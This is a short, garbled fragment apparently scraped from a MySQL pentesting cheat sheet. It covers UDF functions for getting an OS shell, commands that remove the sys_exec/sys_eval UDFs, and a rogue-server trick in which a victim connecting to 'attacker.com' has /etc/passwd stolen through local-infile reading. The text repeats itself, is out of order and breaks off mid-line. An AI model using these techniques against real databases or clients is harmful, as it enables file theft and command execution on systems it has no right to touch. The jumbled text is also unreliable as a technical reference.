Mysql Hacktricks Now
-- Check for dangerous functions SELECT * FROM mysql.func; -- user-defined functions (UDF) 👑 UDF (User Defined Functions) – SYSTEM shell If secure_file_priv allows writes to plugin dir:
-- Remove dangerous UDFs DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval; mysql hacktricks
# Malicious server that reads client files python mysql_file_read_server.py Victim connects: mysql -h attacker.com -u root -p → You steal /etc/passwd Try: mysql --enable-local-infile -h target -u user -p 7. Post-Exploitation: OS Shell via MySQL If you can run OS commands (UDF or SQLi with file write): -- Check for dangerous functions SELECT * FROM mysql